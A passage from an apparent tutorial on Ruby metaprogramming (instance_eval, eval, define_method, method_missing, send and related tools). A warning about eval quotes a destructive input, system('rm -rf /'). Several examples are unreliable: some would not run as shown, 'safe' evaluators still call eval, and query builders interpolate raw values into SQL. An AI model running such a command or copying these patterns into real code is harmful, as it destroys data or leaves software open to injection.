
You can read and modify instance variables:

class BankAccount
  def initialize(balance)
    @balance = balance
  end
end

account = BankAccount.new(1000)

account.instance_eval do
  puts "Current balance: #{@balance}"  # => "Current balance: 1000"
  @balance += 500                      # Modify instance variable
  puts "New balance: #{@balance}"      # => "New balance: 1500"
end

3. String Evaluation

You can also pass a string instead of a block:

class Example
  def initialize(value)
    @value = value
  end
end

obj = Example.new("test")
obj.instance_eval("puts @value")  # => "test"

Common Use Cases

1. Testing Private Methods

class Calculator
  private

  def secret_calculation(x, y)
    x * y + 42
  end
end

calc = Calculator.new

# Access private method in tests
result = calc.instance_eval { secret_calculation(5, 3) }
puts result  # => 57

2. Dynamic Property Access

class Config
  def initialize
    @settings = {}
  end

  def set(key, value)
    @settings[key] = value
  end
end

config = Config.new
config.set(:api_url, "https://api.example.com")
config.set(:timeout, 30)

# Access settings dynamically
config.instance_eval do
  puts @settings[:api_url]   # => "https://api.example.com"
  puts @settings[:timeout]   # => 30
end

3. Object Inspection and Debugging

class ComplexObject
  def initialize
    @data = { a: 1, b: 2, c: 3 }
    @metadata = { created: Time.now }
  end
end

obj = ComplexObject.new

obj.instance_eval do
  puts "All instance variables:"
  instance_variables.each do |var|
    puts "#{var}: #{instance_variable_get(var)}"
  end
end

4. DSL (Domain Specific Language) Implementation

class Builder
  def initialize
    @result = []
  end

  def build(&block)
    instance_eval(&block)
    @result
  end
end

builder = Builder.new
result = builder.build do
  @result << "item1"
  @result << "item2"
  @result << "item3"
end

puts result  # => ["item1", "item2", "item3"]

Differences from class_eval

Featureinstance_evalclass_eval
ContextObject instanceClass
SelfPoints to the objectPoints to the class
Method DefinitionDefines instance methodsDefines instance methods
AccessInstance variables, private methodsClass methods, constants
class Example
  def initialize
    @value = "instance value"
  end

  @@class_var = "class variable"
end

obj = Example.new

# instance_eval - context is the object
obj.instance_eval do
  puts @value        # => "instance value"
  puts self.class    # => Example
end

# class_eval - context is the class
Example.class_eval do
  puts @@class_var   # => "class variable"
  puts self          # => Example
end

Advanced Examples

1. Method Chaining with instance_eval

class QueryBuilder
  def initialize
    @conditions = []
  end

  def where(field, value)
    @conditions << "#{field} = '#{value}'"
    self
  end

  def build
    @conditions.join(" AND ")
  end
end

query = QueryBuilder.new.instance_eval do
  where("name", "John")
  where("age", 25)
  build
end

puts query  # => "name = 'John' AND age = '25'"

2. Configuration Objects

class AppConfig
  def initialize
    @config = {}
  end

  def configure(&block)
    instance_eval(&block)
  end

  def database(url)
    @config[:database] = url
  end

  def api_key(key)
    @config[:api_key] = key
  end

  def get_config
    @config
  end
end

config = AppConfig.new
config.configure do
  database "postgresql://localhost/myapp"
  api_key ENV['API_KEY']
end

puts config.get_config

3. Object Serialization

class Serializable
  def to_hash
    result = {}
    instance_eval do
      instance_variables.each do |var|
        key = var.to_s.delete('@').to_sym
        result[key] = instance_variable_get(var)
      end
    end
    result
  end
end

class User < Serializable
  def initialize(name, email)
    @name = name
    @email = email
  end
end

user = User.new("Alice", "alice@example.com")
puts user.to_hash  # => {:name=>"Alice", :email=>"alice@example.com"}

Security Considerations

⚠️ Warning: Like class_eval, using instance_eval with user input can be dangerous:

# DANGEROUS - don't do this with user input
user_code = gets.chomp
obj.instance_eval(user_code)  # Could execute malicious code

Performance Notes

  • instance_eval with blocks is faster than with strings
  • The block version is safer and more readable
  • Use string evaluation only when necessary for dynamic code

Real-World Usage

instance_eval is commonly used in:

  • Testing frameworks (RSpec, Minitest)
  • Configuration systems (Rails initializers)
  • Builder patterns (ActiveRecord queries)
  • DSL implementations (Rake tasks, Capistrano)
# RSpec example
describe User do
  it "has a name" do
    user = User.new("John")
    expect(user.instance_eval { @name }).to eq("John")
  end
end

instance_eval is a powerful tool for metaprogramming that allows you to execute code in the context of any object, making it invaluable for testing, debugging, and creating flexible APIs.


⚡ 3. What is eval?

Ruby’s eval method, which is the most powerful and potentially dangerous meta-programming tool in Ruby.

eval is a method that evaluates a string as Ruby code in the current context. It’s inherited from the Kernel module and is available everywhere in Ruby. Unlike class_eval and instance_eval, eval executes code in the current binding (the current execution context).

Basic Syntax

# Basic eval usage
eval("puts 'Hello from eval!'")

# With variables
x = 10
y = 20
result = eval("x + y")
puts result  # => 30

Key Features

1. Current Context Execution

eval executes code in the current binding (local variables, methods, etc.):

def calculate(a, b, operation)
  eval("#{a} #{operation} #{b}")
end

puts calculate(10, 5, "+")   # => 15
puts calculate(10, 5, "*")   # => 50
puts calculate(10, 5, "-")   # => 5

2. Access to Local Variables

name = "Alice"
age = 25
city = "New York"

eval("puts \"#{name} is #{age} years old and lives in #{city}\"")
# => "Alice is 25 years old and lives in New York"

3. Dynamic Method Calls

class Calculator
  def add(x, y)
    x + y
  end

  def multiply(x, y)
    x * y
  end
end

calc = Calculator.new
method_name = "add"
args = [5, 3]

result = eval("calc.#{method_name}(#{args.join(', ')})")
puts result  # => 8

Common Use Cases

1. Configuration Files

# config.rb
APP_NAME = "MyApp"
DEBUG_MODE = true
DATABASE_URL = "postgresql://localhost/myapp"

# Loading configuration
config_content = File.read('config.rb')
eval(config_content)

puts APP_NAME      # => "MyApp"
puts DEBUG_MODE    # => true

2. Dynamic Calculations

class MathEvaluator
  def self.evaluate(expression)
    eval(expression)
  rescue => e
    "Error: #{e.message}"
  end
end

puts MathEvaluator.evaluate("2 + 3 * 4")        # => 14
puts MathEvaluator.evaluate("Math.sqrt(16)")    # => 4.0
puts MathEvaluator.evaluate("10 / 0")           # => "Error: divided by 0"

3. Template Processing

class Template
  def initialize(template)
    @template = template
  end

  def render(binding)
    eval("\"#{@template}\"", binding)
  end
end

template = Template.new("Hello <%= name %>, you are <%= age %> years old!")
name = "Bob"
age = 30

result = template.render(binding)
puts result  # => "Hello Bob, you are 30 years old!"

4. Code Generation

class CodeGenerator
  def self.generate_method(method_name, body)
    eval("
      def #{method_name}
        #{body}
      end
    ")
  end
end

class MyClass
  CodeGenerator.generate_method(:greet, "puts 'Hello, World!'")
  CodeGenerator.generate_method(:calculate, "2 + 2")
end

obj = MyClass.new
obj.greet        # => "Hello, World!"
puts obj.calculate  # => 4

Advanced Examples

1. Dynamic Class Creation

class DynamicClassCreator
  def self.create_class(class_name, methods = {})
    eval("
      class #{class_name}
        #{methods.map { |name, body| "def #{name}; #{body}; end" }.join("\n")}
      end
    ")
  end
end

DynamicClassCreator.create_class("Person", {
  greet: "puts 'Hello!'",
  age: "25"
})

person = Person.new
person.greet  # => "Hello!"
puts person.age  # => 25

2. Expression Parser

class ExpressionParser
  def self.parse(expression, variables = {})
    # Create a safe binding with variables
    binding_obj = binding
    variables.each do |key, value|
      binding_obj.local_variable_set(key, value)
    end

    eval(expression, binding_obj)
  end
end

result = ExpressionParser.parse("x * y + z", { x: 5, y: 3, z: 10 })
puts result  # => 25

3. Configuration DSL

class AppConfig
  def self.load_from_string(config_string)
    eval(config_string)
  end
end

config_string = "
  APP_NAME = 'MyApplication'
  DEBUG = true
  DATABASE = {
    host: 'localhost',
    port: 5432,
    name: 'myapp'
  }
"

AppConfig.load_from_string(config_string)
puts APP_NAME  # => "MyApplication"
puts DATABASE[:host]  # => "localhost"

Security Risks and Dangers

⚠️ CRITICAL WARNING: eval is extremely dangerous when used with untrusted input!

Dangerous Examples:

# NEVER do this with user input!
user_input = gets.chomp
eval(user_input)  # User could input: system('rm -rf /')

# Dangerous with file input
file_content = File.read('user_provided_file.rb')
eval(file_content)  # Could contain malicious code

Safe Alternatives:

# Instead of eval, use safer alternatives
class SafeCalculator
  def self.calculate(expression)
    # Use a math library or parser instead
    case expression
    when /^\d+\s*\+\s*\d+$/
      # Safe addition
      eval(expression)
    else
      raise "Unsafe expression"
    end
  end
end

Binding and Context

1. Custom Binding

def create_binding(variables = {})
  binding_obj = binding
  variables.each do |key, value|
    binding_obj.local_variable_set(key, value)
  end
  binding_obj
end

my_binding = create_binding(x: 10, y: 20)
result = eval("x + y", my_binding)
puts result  # => 30

2. Different Contexts

class ContextExample
  def initialize(value)
    @value = value
  end

  def evaluate_in_context(code)
    eval(code)
  end
end

obj = ContextExample.new("test")
result = obj.evaluate_in_context("@value")
puts result  # => "test"

Performance Considerations

  • eval is slower than direct code execution
  • The string must be parsed every time
  • No compile-time optimization
  • Use sparingly and only when necessary

Best Practices

1. Avoid When Possible

# Bad - using eval
method_name = "calculate"
eval("result = #{method_name}(5, 3)")

# Good - using send
result = send(method_name, 5, 3)

2. Whitelist Allowed Operations

class SafeEvaluator
  ALLOWED_OPERATIONS = %w[+ - * /]

  def self.evaluate(expression)
    operation = expression.match(/(\d+)\s*([+\-*/])\s*(\d+)/)
    return "Invalid expression" unless operation

    op = operation[2]
    return "Operation not allowed" unless ALLOWED_OPERATIONS.include?(op)

    eval(expression)
  end
end

3. Use Sandboxing

class SandboxedEval
  def self.safe_eval(code, timeout: 1)
    Timeout::timeout(timeout) do
      eval(code)
    end
  rescue Timeout::Error
    "Execution timed out"
  rescue => e
    "Error: #{e.message}"
  end
end

Real-World Usage

eval is used in:

  • Template engines (ERB, Haml)
  • Configuration systems (Rails initializers)
  • Code generators (Rails generators)
  • REPLs (Interactive Ruby shells)
# ERB template example
require 'erb'

template = ERB.new("Hello <%= name %>!")
name = "World"
result = template.result(binding)
puts result  # => "Hello World!"

Summary

eval is the most powerful metaprogramming tool in Ruby, but also the most dangerous. Use it only when:

  • You have complete control over the input
  • No safer alternative exists
  • You understand the security implications
  • You implement proper validation and sandboxing

For most use cases, prefer safer alternatives like send, method_missing, or dedicated parsing libraries.


✍️ 4. What is define_method?

Ruby’s define_method, which is a powerful meta-programming tool for dynamically creating methods at runtime.

define_method is a method that allows you to dynamically define instance methods on a class or module. It’s inherited from the Module class and is a key tool for meta-programming in Ruby.

Basic Syntax

class MyClass
  define_method :dynamic_method do |*args|
    puts "Hello from dynamic method with args: #{args}"
  end
end

obj = MyClass.new
obj.dynamic_method("test", 123)  # => "Hello from dynamic method with args: [\"test\", 123]"

Key Features

1. Dynamic Method Creation

class Calculator
  # Define methods dynamically based on operations
  [:add, :subtract, :multiply, :divide].each do |operation|
    define_method operation do |a, b|
      case operation
      when :add then a + b
      when :subtract then a - b
      when :multiply then a * b
      when :divide then a / b
      end
    end
  end
end

calc = Calculator.new
puts calc.add(5, 3)      # => 8
puts calc.multiply(4, 2)  # => 8
puts calc.divide(10, 2)   # => 5

2. Access to Instance Variables

class Person
  def initialize(name, age)
    @name = name
    @age = age
  end

  # Create getter methods dynamically
  [:name, :age].each do |attribute|
    define_method attribute do
      instance_variable_get("@#{attribute}")
    end
  end
end

person = Person.new("Alice", 25)
puts person.name  # => "Alice"
puts person.age   # => 25

3. Method with Parameters

class DynamicAPI
  define_method :api_call do |endpoint, params = {}|
    puts "Calling #{endpoint} with params: #{params}"
    # Simulate API call
    "Response from #{endpoint}"
  end
end

api = DynamicAPI.new
api.api_call("/users", { id: 1 })  # => "Calling /users with params: {:id=>1}"

Common Use Cases

1. Attribute Accessors

class Model
  def self.attr_accessor(*attributes)
    attributes.each do |attribute|
      # Define getter
      define_method attribute do
        instance_variable_get("@#{attribute}")
      end

      # Define setter
      define_method "#{attribute}=" do |value|
        instance_variable_set("@#{attribute}", value)
      end
    end
  end

  attr_accessor :name, :email, :age
end

user = Model.new
user.name = "John"
user.email = "john@example.com"
puts user.name   # => "John"
puts user.email  # => "john@example.com"

2. Validation Methods

class User
  def initialize(attributes = {})
    attributes.each do |key, value|
      instance_variable_set("@#{key}", value)
    end
  end

  # Create validation methods dynamically
  [:name, :email, :age].each do |field|
    define_method "validate_#{field}" do
      value = instance_variable_get("@#{field}")
      case field
      when :name
        !value.nil? && !value.empty?
      when :email
        value =~ /\A[\w+\-.]+@[a-z\d\-]+(\.[a-z\d\-]+)*\.[a-z]+\z/i
      when :age
        value.is_a?(Integer) && value > 0 && value < 150
      end
    end
  end
end

user = User.new(name: "Alice", email: "alice@example.com", age: 25)
puts user.validate_name   # => true
puts user.validate_email  # => true
puts user.validate_age    # => true

3. API Method Generation

class APIClient
  def initialize(base_url)
    @base_url = base_url
  end

  # Generate API methods for different resources
  [:users, :posts, :comments].each do |resource|
    define_method "get_#{resource}" do |id = nil|
      endpoint = id ? "#{resource}/#{id}" : resource
      puts "GET #{@base_url}/#{endpoint}"
      # Actual HTTP request would go here
    end

    define_method "create_#{resource.singularize}" do |data|
      puts "POST #{@base_url}/#{resource}"
      puts "Data: #{data}"
      # Actual HTTP request would go here
    end
  end
end

api = APIClient.new("https://api.example.com")
api.get_users           # => "GET https://api.example.com/users"
api.get_users(123)      # => "GET https://api.example.com/users/123"
api.create_user(name: "John")  # => "POST https://api.example.com/users"

4. Database Query Methods

class ActiveRecord
  def self.has_many(association_name)
    define_method association_name do
      puts "Fetching #{association_name} for #{self.class}"
      # Actual database query would go here
      []
    end
  end

  def self.belongs_to(association_name)
    define_method association_name do
      puts "Fetching #{association_name} for #{self.class}"
      # Actual database query would go here
      nil
    end
  end
end

class User < ActiveRecord
  has_many :posts
  belongs_to :company
end

user = User.new
user.posts    # => "Fetching posts for User"
user.company  # => "Fetching company for User"

Advanced Examples

1. Method with Dynamic Logic

class DynamicCalculator
  def self.create_operation(operation_name, &block)
    define_method operation_name do |*args|
      instance_eval(&block)
    end
  end

  create_operation :custom_add do
    args = method(__method__).parameters.map { |_, name| local_variable_get(name) }
    args.inject(:+)
  end

  create_operation :power do
    base, exponent = method(__method__).parameters.map { |_, name| local_variable_get(name) }
    base ** exponent
  end
end

calc = DynamicCalculator.new
puts calc.custom_add(1, 2, 3, 4)  # => 10
puts calc.power(2, 3)             # => 8

2. Conditional Method Definition

class FeatureToggle
  def self.define_feature_method(feature_name, enabled = true)
    if enabled
      define_method feature_name do
        puts "Feature #{feature_name} is enabled"
        # Feature implementation
      end
    else
      define_method feature_name do
        puts "Feature #{feature_name} is disabled"
        # Fallback or no-op
      end
    end
  end

  define_feature_method :new_ui, true
  define_feature_method :beta_feature, false
end

app = FeatureToggle.new
app.new_ui        # => "Feature new_ui is enabled"
app.beta_feature  # => "Feature beta_feature is disabled"

3. Method with Different Signatures

class FlexibleAPI
  def self.define_flexible_method(method_name)
    define_method method_name do |*args, **kwargs, &block|
      puts "Method: #{method_name}"
      puts "Arguments: #{args}"
      puts "Keyword arguments: #{kwargs}"
      puts "Block given: #{block_given?}"

      # Process based on arguments
      if block_given?
        block.call(args.first)
      elsif !kwargs.empty?
        kwargs.values.first
      else
        args.first
      end
    end
  end

  define_flexible_method :process
end

api = FlexibleAPI.new
api.process("hello")                    # => "hello"
api.process(data: "world")              # => "world"
api.process("test") { |x| x.upcase }    # => "TEST"

4. Method Aliasing

class MethodAliaser
  def self.create_aliases(base_method, *aliases)
    aliases.each do |alias_name|
      define_method alias_name do |*args, &block|
        send(base_method, *args, &block)
      end
    end
  end

  def original_method
    puts "Original method called"
  end

  create_aliases :original_method, :alias1, :alias2, :alternative_name
end

obj = MethodAliaser.new
obj.alias1              # => "Original method called"
obj.alternative_name    # => "Original method called"

Performance Considerations

1. Method Definition Timing

class PerformanceExample
  # Methods defined at class definition time (faster)
  define_method :static_method do
    puts "Static method"
  end

  def self.create_dynamic_methods
    # Methods defined at runtime (slower)
    1000.times do |i|
      define_method "dynamic_method_#{i}" do
        puts "Dynamic method #{i}"
      end
    end
  end
end

2. Memory Usage

class MemoryEfficient
  # More memory efficient - methods defined once
  METHODS = [:method1, :method2, :method3]

  METHODS.each do |method_name|
    define_method method_name do
      puts "Called #{method_name}"
    end
  end
end

Best Practices

1. Use Meaningful Names

# Good
define_method :calculate_total do
  # implementation
end

# Bad
define_method :m1 do
  # implementation
end

2. Handle Errors Gracefully

class SafeMethodDefiner
  def self.define_safe_method(method_name, &block)
    define_method method_name do |*args|
      begin
        instance_eval(&block)
      rescue => e
        puts "Error in #{method_name}: #{e.message}"
        nil
      end
    end
  end
end

3. Document Dynamic Methods

class DocumentedClass
  # Dynamically creates getter methods for attributes
  # @param attributes [Array<Symbol>] list of attribute names
  def self.create_getters(*attributes)
    attributes.each do |attr|
      define_method attr do
        instance_variable_get("@#{attr}")
      end
    end
  end

  create_getters :name, :email
end

Real-World Usage

define_method is commonly used in:

  • Rails ActiveRecord (associations, validations)
  • RSpec (dynamic test methods)
  • Configuration systems (dynamic setters/getters)
  • API clients (dynamic endpoint methods)
  • ORM frameworks (dynamic query methods)
# Rails-like example
class ActiveRecord
  def self.validates_presence_of(*attributes)
    attributes.each do |attribute|
      define_method "validate_#{attribute}_presence" do
        value = send(attribute)
        value.nil? || value.to_s.empty?
      end
    end
  end
end

class User < ActiveRecord
  validates_presence_of :name, :email
end

define_method is a powerful tool for creating flexible, dynamic APIs and reducing code duplication through meta-programming.


🌀 5. What is method_missing?

Ruby’s method_missing, which is a powerful meta-programming tool that allows you to handle calls to undefined methods dynamically.

method_missing is a special method in Ruby that gets called automatically when an object receives a message (method call) for a method that doesn’t exist. It’s inherited from the BasicObject class and is a key component of Ruby’s dynamic nature.

Basic Syntax

class MyClass
  def method_missing(method_name, *args, &block)
    puts "Method '#{method_name}' called with args: #{args}"
    # Handle the missing method call
  end
end

obj = MyClass.new
obj.undefined_method("hello", 123)  # => "Method 'undefined_method' called with args: [\"hello\", 123]"

Key Features

1. Automatic Invocation

class DynamicHandler
  def method_missing(method_name, *args, &block)
    puts "Trying to call: #{method_name}"
    puts "Arguments: #{args}"
    puts "Block given: #{block_given?}"

    # Return a default value or handle the call
    "Handled by method_missing"
  end
end

obj = DynamicHandler.new
result = obj.some_random_method("arg1", "arg2") { puts "block" }
puts result
# Output:
# Trying to call: some_random_method
# Arguments: ["arg1", "arg2"]
# Block given: true
# Handled by method_missing

2. Method Name and Arguments

class FlexibleAPI
  def method_missing(method_name, *args, **kwargs, &block)
    puts "Method: #{method_name}"
    puts "Arguments: #{args}"
    puts "Keyword arguments: #{kwargs}"

    # Handle different method patterns
    case method_name.to_s
    when /^get_(.+)$/
      "Getting #{$1}"
    when /^set_(.+)$/
      "Setting #{$1} to #{args.first}"
    else
      "Unknown method: #{method_name}"
    end
  end
end

api = FlexibleAPI.new
puts api.get_user_info     # => "Getting user_info"
puts api.set_name("Alice") # => "Setting name to Alice"
puts api.random_method     # => "Unknown method: random_method"

Common Use Cases

1. Dynamic Property Access

class DynamicProperties
  def initialize
    @data = {}
  end

  def method_missing(method_name, *args)
    method_str = method_name.to_s

    if method_str.end_with?('=')
      # Setter method
      property_name = method_str.chomp('=')
      @data[property_name] = args.first
    else
      # Getter method
      @data[method_str]
    end
  end
end

obj = DynamicProperties.new
obj.name = "Alice"
obj.age = 25
obj.city = "New York"

puts obj.name  # => "Alice"
puts obj.age   # => 25
puts obj.city  # => "New York"

2. API Method Generation

class APIClient
  def initialize(base_url)
    @base_url = base_url
  end

  def method_missing(method_name, *args)
    method_str = method_name.to_s

    case method_str
    when /^get_(.+)$/
      resource = $1
      puts "GET #{@base_url}/#{resource}"
      # Actual HTTP GET request
    when /^post_(.+)$/
      resource = $1
      data = args.first || {}
      puts "POST #{@base_url}/#{resource}"
      puts "Data: #{data}"
      # Actual HTTP POST request
    when /^put_(.+)$/
      resource = $1
      data = args.first || {}
      puts "PUT #{@base_url}/#{resource}"
      puts "Data: #{data}"
      # Actual HTTP PUT request
    when /^delete_(.+)$/
      resource = $1
      puts "DELETE #{@base_url}/#{resource}"
      # Actual HTTP DELETE request
    else
      super
    end
  end
end

api = APIClient.new("https://api.example.com")
api.get_users           # => "GET https://api.example.com/users"
api.post_user(name: "John")  # => "POST https://api.example.com/user"
api.put_user(1, name: "Jane")  # => "PUT https://api.example.com/user"
api.delete_user(1)      # => "DELETE https://api.example.com/user"

3. Configuration DSL

class Configuration
  def initialize
    @config = {}
  end

  def method_missing(method_name, *args)
    method_str = method_name.to_s

    if method_str.end_with?('=')
      # Setter
      key = method_str.chomp('=')
      @config[key] = args.first
    else
      # Getter
      @config[method_str]
    end
  end

  def to_hash
    @config
  end
end

config = Configuration.new
config.database_url = "postgresql://localhost/myapp"
config.api_key = ENV['API_KEY']
config.debug_mode = true

puts config.database_url  # => "postgresql://localhost/myapp"
puts config.to_hash       # => {"database_url"=>"postgresql://localhost/myapp", ...}

4. Builder Pattern

class HTMLBuilder
  def initialize
    @html = []
  end

  def method_missing(tag_name, *args, &block)
    content = args.first || ""
    attributes = args.last.is_a?(Hash) ? args.last : {}

    if block_given?
      @html << "<#{tag_name}#{format_attributes(attributes)}>"
      @html << yield
      @html << "</#{tag_name}>"
    else
      @html << "<#{tag_name}#{format_attributes(attributes)}>#{content}</#{tag_name}>"
    end

    self
  end

  private

  def format_attributes(attributes)
    return "" if attributes.empty?
    " " + attributes.map { |k, v| "#{k}=\"#{v}\"" }.join(" ")
  end

  def to_s
    @html.join("\n")
  end
end

builder = HTMLBuilder.new
html = builder.html do
  builder.head do
    builder.title("My Page")
  end
  builder.body(class: "main") do
    builder.h1("Hello World")
    builder.p("This is a paragraph", class: "intro")
  end
end

puts html
# Output:
# <html>
# <head>
# <title>My Page</title>
# </head>
# <body class="main">
# <h1>Hello World</h1>
# <p class="intro">This is a paragraph</p>
# </body>
# </html>

Advanced Examples

1. Method Caching with respond_to_missing?

class CachedMethodHandler
  def initialize
    @cache = {}
  end

  def method_missing(method_name, *args)
    method_str = method_name.to_s

    # Check if we should handle this method
    if method_str.start_with?('cached_')
      cache_key = "#{method_str}_#{args.hash}"

      if @cache.key?(cache_key)
        puts "Returning cached result for #{method_name}"
        @cache[cache_key]
      else
        puts "Computing result for #{method_name}"
        result = compute_result(method_str, args)
        @cache[cache_key] = result
        result
      end
    else
      super
    end
  end

  def respond_to_missing?(method_name, include_private = false)
    method_name.to_s.start_with?('cached_') || super
  end

  private

  def compute_result(method_name, args)
    # Simulate expensive computation
    sleep(1)
    "Result for #{method_name} with #{args}"
  end
end

handler = CachedMethodHandler.new
puts handler.cached_expensive_calculation(1, 2, 3)  # Slow
puts handler.cached_expensive_calculation(1, 2, 3)  # Fast (cached)
puts handler.respond_to?(:cached_expensive_calculation)  # => true

2. Dynamic Delegation

class Delegator
  def initialize(target)
    @target = target
  end

  def method_missing(method_name, *args, &block)
    if @target.respond_to?(method_name)
      @target.send(method_name, *args, &block)
    else
      super
    end
  end

  def respond_to_missing?(method_name, include_private = false)
    @target.respond_to?(method_name, include_private) || super
  end
end

class User
  def initialize(name, email)
    @name = name
    @email = email
  end

  def display_info
    "Name: #{@name}, Email: #{@email}"
  end
end

user = User.new("Alice", "alice@example.com")
delegator = Delegator.new(user)
puts delegator.display_info  # => "Name: Alice, Email: alice@example.com"

3. Method Chaining with method_missing

class QueryBuilder
  def initialize
    @conditions = []
    @order_by = nil
    @limit = nil
  end

  def method_missing(method_name, *args)
    method_str = method_name.to_s

    case method_str
    when /^where_(.+)$/
      field = $1
      value = args.first
      @conditions << "#{field} = '#{value}'"
      self
    when /^order_by_(.+)$/
      field = $1
      direction = args.first || 'ASC'
      @order_by = "#{field} #{direction}"
      self
    when /^limit$/
      @limit = args.first
      self
    when /^execute$/
      build_query
    else
      super
    end
  end

  private

  def build_query
    query = "SELECT * FROM table"
    query += " WHERE #{@conditions.join(' AND ')}" unless @conditions.empty?
    query += " ORDER BY #{@order_by}" if @order_by
    query += " LIMIT #{@limit}" if @limit
    query
  end
end

query = QueryBuilder.new
result = query.where_name("John")
              .where_age(25)
              .order_by_created_at("DESC")
              .limit(10)
              .execute

puts result
# => "SELECT * FROM table WHERE name = 'John' AND age = '25' ORDER BY created_at DESC LIMIT 10"

4. Event Handling

class EventHandler
  def initialize
    @handlers = {}
  end

  def method_missing(event_name, *args)
    method_str = event_name.to_s

    if method_str.end_with?('=')
      # Register event handler
      handler_name = method_str.chomp('=')
      @handlers[handler_name] = args.first
    else
      # Trigger event
      handler = @handlers[method_str]
      if handler
        handler.call(*args)
      else
        puts "No handler registered for event: #{method_str}"
      end
    end
  end
end

handler = EventHandler.new

# Register event handlers
handler.on_click = ->(x, y) { puts "Clicked at (#{x}, #{y})" }
handler.on_hover = ->(element) { puts "Hovered over #{element}" }

# Trigger events
handler.on_click(100, 200)  # => "Clicked at (100, 200)"
handler.on_hover("button")  # => "Hovered over button"
handler.on_keypress         # => "No handler registered for event: on_keypress"

Important Considerations

1. respond_to_missing?

Always implement respond_to_missing? when using method_missing:

class ProperHandler
  def method_missing(method_name, *args)
    if method_name.to_s.start_with?('dynamic_')
      "Handled: #{method_name}"
    else
      super
    end
  end

  def respond_to_missing?(method_name, include_private = false)
    method_name.to_s.start_with?('dynamic_') || super
  end
end

obj = ProperHandler.new
puts obj.respond_to?(:dynamic_method)  # => true
puts obj.respond_to?(:real_method)     # => false

2. Performance Impact

class PerformanceExample
  def method_missing(method_name, *args)
    # This gets called for EVERY undefined method
    # Can be slow if called frequently
    puts "Handling #{method_name}"
  end
end

# Better approach: Define methods when first called
class BetterExample
  def method_missing(method_name, *args)
    if method_name.to_s.start_with?('dynamic_')
      # Define the method for future calls
      self.class.define_method(method_name) do |*method_args|
        "Handled: #{method_name} with #{method_args}"
      end

      # Call the newly defined method
      send(method_name, *args)
    else
      super
    end
  end
end

3. Debugging

class DebuggableHandler
  def method_missing(method_name, *args, &block)
    puts "DEBUG: method_missing called for #{method_name}"
    puts "DEBUG: arguments: #{args}"
    puts "DEBUG: block given: #{block_given?}"

    # Your handling logic here
    super
  end
end

Real-World Usage

method_missing is commonly used in:

  • Rails ActiveRecord (dynamic finders)
  • RSpec (dynamic matchers)
  • Sinatra (dynamic route handlers)
  • Configuration systems (dynamic setters/getters)
  • API clients (dynamic endpoint methods)
# Rails-like example
class ActiveRecord
  def method_missing(method_name, *args)
    method_str = method_name.to_s

    if method_str.start_with?('find_by_')
      field = method_str.sub('find_by_', '')
      value = args.first
      puts "Finding record where #{field} = #{value}"
      # Actual database query
    else
      super
    end
  end
end

class User < ActiveRecord
end

User.find_by_name("Alice")  # => "Finding record where name = Alice"
User.find_by_email("alice@example.com")  # => "Finding record where email = alice@example.com"

method_missing is a powerful tool for creating flexible, dynamic APIs, but should be used carefully with proper implementation of respond_to_missing? and consideration for performance.


🏷️ Part 2: Other Metaprogramming Tools

Ruby provides many more hooks for dynamic behavior:

🔗 1. define_singleton_method

Creates a method on a single object, similar to instance_eval + def.

str = "hello"
def str.shout; upcase + '!'; end
# vs.
str.define_singleton_method(:whisper) { downcase + '...' }

📦 2. module_eval / module_exec

Like class_eval but in a module’s context, useful to mix in behavior.

module Mixin; end
Mixin.module_eval do
  def helper; "I'm mixed in"; end
end

🧩 3. send / public_send

Invoke methods by name, bypassing visibility with send, or respecting it with public_send.

obj.send(:private_method)
obj.public_send(:public_method)

Both send and public_send in Ruby allow you to dynamically call methods on an object by name (as a symbol or string).
But the difference lies in method visibility (public, private, protected).

Key Difference

MethodCan call private/protected methods?Example Usage
sendYes"hello".send(:upcase)
public_sendNo (only public methods)"hello".public_send(:upcase)

Example

class MyClass
  def public_method
    "I'm public"
  end

  private
  def secret_method
    "I'm private"
  end
end

obj = MyClass.new

puts obj.send(:public_method)      # ✅ Works: "I'm public"
puts obj.public_send(:public_method) # ✅ Works: "I'm public"

puts obj.send(:secret_method)      # ✅ Works (can access private method)
puts obj.public_send(:secret_method) # ❌ Raises NoMethodError

? Why this matters

  • send is very powerful (and dangerous) because it ignores method visibility. It’s often used in metaprogramming (e.g., ActiveRecord uses it internally).
  • public_send is safer because it respects encapsulation. Use this when you don’t want to accidentally call private methods.

Best Practice

  • Use public_send whenever possible (especially if the method name comes from user input) to avoid security issues.
  • Use send only when you explicitly need access to private methods (e.g., in testing or metaprogramming).

🏷️ 4. Constant Manipulation (const_get, const_set)

Dynamically read or write constants on classes or modules.

Object.const_set('DynamicClass', Class.new)
klass = Object.const_get('DynamicClass')

🛠️ 5. Alias & Removal (alias_method, undef_method, remove_method)

Alias existing methods or remove definitions at runtime.

def foo; :bar; end
alias_method :baz, :foo
undef_method :foo

📥 6. Instance Variable Access (instance_variable_get, instance_variable_set)

Read or write any object’s internal state.

obj.instance_variable_set(:@data, 123)
puts obj.instance_variable_get(:@data) # => 123

🔮 7. Eigenclass & class << obj

Open the singleton class to define methods or mixins.

class << obj
  def special; 'only me'; end
end

📡 8. autoload / require_relative

Delay loading of modules until first reference.

autoload :Parser, 'parser'

📐 9. respond_to_missing?

Complement method_missing to accurately report capabilities.

def respond_to_missing?(m, include_private=false)
  @target.respond_to?(m) || super
end

🔀 10. Refinements

Scoped monkey-patching without global impact.

module StringExtensions
  refine String do
    def shout; upcase; end
  end
end

using StringExtensions
puts 'hi'.shout # => HI

✅ Conclusion

Ruby’s metaprogramming toolbox is vast—from the core five methods in Part 1 to the advanced techniques in Part 2. By mastering these, you can write highly dynamic, DRY, and expressive code, but always balance power with clarity and maintainability.

Happy Ruby coding! 🚀


🔍 1. Why Use class_eval and instance_eval?

Ruby classes and objects are open, meaning you can modify them at runtime.

  • class_eval lets you inject instance methods into a class after it’s defined.
  • instance_eval lets you add singleton methods or access private state on a single object.

✨ Dynamic Method Generation

When you don’t know ahead of time what methods you’ll need—say you’re reading an external schema or configuration—you can’t hand‑write every method. Metaprogramming with class_eval/instance_eval generates them on the fly.

🔧 Building DSLs

Internal DSLs (e.g. Rails’ routing or configuration blocks) rely on evaluating blocks in the right context:

# routes.rb
Rails.application.routes.draw do
  resources :users do
    resources :posts
  end
end

Here, instance_eval on the routing object makes resources available inside the block.

If you know all your methods at design time, define them normally. Lean on metaprogramming when you need flexibility, DRY generation, or want to craft a clean DSL.


🛠️ 2. When to Use define_method?

define_method is Ruby’s block‑based way to dynamically add methods in a class or module—safer than eval and can close over local variables:

class Serializer
  %i[name age email].each do |attr|
    define_method("serialize_#{attr}") do |user|
      user.public_send(attr).to_s
    end
  end
end

  • Ideal for generating many similar methods (attribute serializers, dynamic finders).
